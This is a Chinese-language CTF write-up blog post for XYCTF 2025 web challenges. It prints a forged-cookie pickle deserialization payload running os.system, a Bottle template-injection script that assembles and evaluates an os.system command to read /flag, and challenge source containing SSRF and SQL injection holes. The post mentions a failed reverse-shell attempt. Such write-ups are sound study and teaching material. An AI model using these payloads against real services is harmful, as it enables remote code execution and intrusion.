xyctf


XYCTF 2025 出题人wp LamentXU - LamentXU - 博客园

XYCTF25

XYCTF2025-官方WP.pdf - SfTian

Signin

https://blog.csdn.net/whieenz/article/details/83070038

Cookie: name="!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"

import base64
from pickle import loads
import hmac
import hashlib

# 解码数据部分(需补全 Base64 填充)
encoded_data = "gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"
decoded_data = base64.urlsafe_b64decode(encoded_data + "==")  # 补全填充

# 反序列化
session = loads(decoded_data)
print("解密后的会话内容:", session)


secret = "Hell0_H@cker_Y0u_A3r_Sm@r7".encode("utf-8")
data_part = "gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"  # 数据部分
provided_signature = "4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek="

# 计算签名
expected_signature = base64.urlsafe_b64encode(
    hmac.new(secret, data_part.encode(), hashlib.sha256).digest()
).decode()

print("预期签名:", expected_signature)
print("实际签名:", provided_signature)

解密后的会话内容: ['name', {'name': 'guest'}]
预期签名: 4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=
实际签名: 4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=

按照解密写加密

import pickle
import hmac
import hashlib
import base64

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
session = ['name', {'name': 'admin'}]

# 1. 使用pickle序列化会话数据
serialized = pickle.dumps(session, protocol=-1)

# 2. Base64编码序列化数据
encoded_data = base64.b64encode(serialized).decode('utf-8')

# 3. 使用HMAC-SHA256生成签名
key = secret.encode('utf-8')
signature = hmac.new(key, encoded_data.encode('utf-8'), hashlib.sha256).digest()
encoded_sig = base64.b64encode(signature).decode('utf-8')

# 4. 组合最终Cookie值(格式:!签名.数据)
forged_cookie = f"!{encoded_sig}.{encoded_data}"

print(f"伪造的管理员 Cookie: name={forged_cookie}")

看到pickle.dumps,明白考点与[GHCTF 2025]ezzzz_pickle一样。

import hmac
import hashlib
import base64

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

opcode = b'''(cos
system
S'ls / > ../../secret.txt'
o.'''
#cat /flag_dda2d465-af33-4c56-8cc9-fd4306867b70 > ../../secret.txt

encoded_data = base64.b64encode(opcode).decode('utf-8')

# 生成HMAC签名
signature = hmac.new(
    secret.encode('utf-8'),
    encoded_data.encode('utf-8'),
    hashlib.sha256
).digest()
encoded_sig = base64.b64encode(signature).decode('utf-8')

# 使用正确分隔符组合
forged_cookie = f"!{encoded_sig}?{encoded_data}"

print(f"伪造的管理员 Cookie: name={forged_cookie}")

ps:我用反弹shell没成功,不知道是啥原因,有无师傅用反弹shell做的?


好了另一个师傅也没弹成功,那应该是不出网(


ez_puzzle

看着很像hgane[Level 24 Pacman]的前端小游戏。

ban了鼠标右键和f12:

将内容脚本添加到忽略列表 - Microsoft Edge Developer documentation | Microsoft Learn

Windows下反反调试技术汇总 - FreeBuf网络安全行业门户

会触发程序的反调试,右键+添加脚本以忽略列表->程序停止但也不能调试了。

目标是找时间相关的,搜索time

在控制台将初始时间调大


出题人已疯

由于python的特性,我们可以将变量赋值给os模块中的属性,这个属性可以是自己新定义的,比如像这样

import os  

设置环境变量  

os.environ['MY_VARIABLE'] = 'some_value'  

获取环境变量  

print(os.environ['MY_VARIABLE'])  # 输出: some_value
# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2025/03/29 15:52:17
@Author  :   LamentXU 
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
    return 'Hello, World!'
@bottle.route('/attack')
def attack():
    payload = bottle.request.query.get('payload')
    if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
        return bottle.template('hello '+payload)
    else:
        bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

切片操作能够从一个序列(像字符串、列表、元组等)中提取出一部分元素,从而生成一个新的序列。切片操作借助方括号 [] 和冒号 : 来实现。

range(0, len(payload), 3)

  • range 函数用于生成一个整数序列。
  • 0 是起始值,意味着序列从 0 开始。
  • len(payload) 是结束值,也就是序列到 payload 字符串的长度(但不包含该长度值)为止。
  • 3 是步长,表明序列中的每个整数之间相差 3。

例如,若 payload = "abcdef",那么 range(0, len(payload), 3) 会生成序列 [0, 3]

  1. payload[i:i+3]
  • payload 是一个字符串。
  • irange 函数生成的整数。
  • payload[i:i+3] 是对字符串进行切片操作,从索引 i 开始,到索引 i+3 结束(不包含索引 i+3 处的字符)。

例如,若 payload = "abcdef",当 i = 0 时,payload[i:i+3] 就是 "abc";当 i = 3 时,payload[i:i+3] 就是 "def"

import requests

url = 'http://gz.imxbt.cn:20310/attack'

payload = "__import__('os').system('cat /flag>qing')"
p = [payload[i:i + 2] for i in range(0, len(payload), 2)]
flag = True
for i in p:
    if flag:
        tmp = f'\n% import os;os.a="{i}"'
        flag = False
        print(1)
    else:
        tmp = f'\n% import os;os.a+="{i}"'
        print(1)
    r = requests.get(url, params={"payload": tmp})
    print(r)

r = requests.get(url, params={"payload": "\n% import os;eval(os.a)"})
print(len(r.text))
r = requests.get(url, params={"payload": "\n% include('qing')"}).text
print(r)

hello 
flag{L@men7XU_d0es_n0t_w@nt_t0_g0_t0_scho01}

Fate

在python中,当我们使用f-string直接传入非字符串参数时,就会被强转为字符串。

#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
    
    return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')
    if not url:
        return flask.abort(400, 'No URL provided')
    
    target_url = "http://lamentxu.top" + url
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    print(flask.request.remote_addr)
    return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')
        if code == 'abcdefghi':
            req = flask.request.args.get('1')
            try:
                req = binary_to_string(req)
                print(req)
                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
            except:
                flask.abort(400, "Invalid JSON")
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            if len(name) > 6:
                flask.abort(400, "Too long")
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")
            """
            Some waf hidden here ;)
            """

            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")

            return {'Fate': fate}
        else:
            flask.abort(400, "Hello local, and hello hacker")
    else:
        flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
    app.run(debug=True)
import sqlite3

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
  NAME TEXT NOT NULL,
  FATE TEXT NOT NULL
);""")
Fate = [
    ('JOHN', '1994-2030 Dead in a car accident'),
    ('JANE', '1990-2025 Lost in a fire'),
    ('SARAH', '1982-2017 Fired by a government official'),
    ('DANIEL', '1978-2013 Murdered by a police officer'),
    ('LUKE', '1974-2010 Assassinated by a military officer'),
    ('KAREN', '1970-2006 Fallen from a cliff'),
    ('BRIAN', '1966-2002 Drowned in a river'),
    ('ANNA', '1962-1998 Killed by a bomb'),
    ('JACOB', '1954-1990 Lost in a plane crash'),
    ('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)

conn.commit()
conn.close()

文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录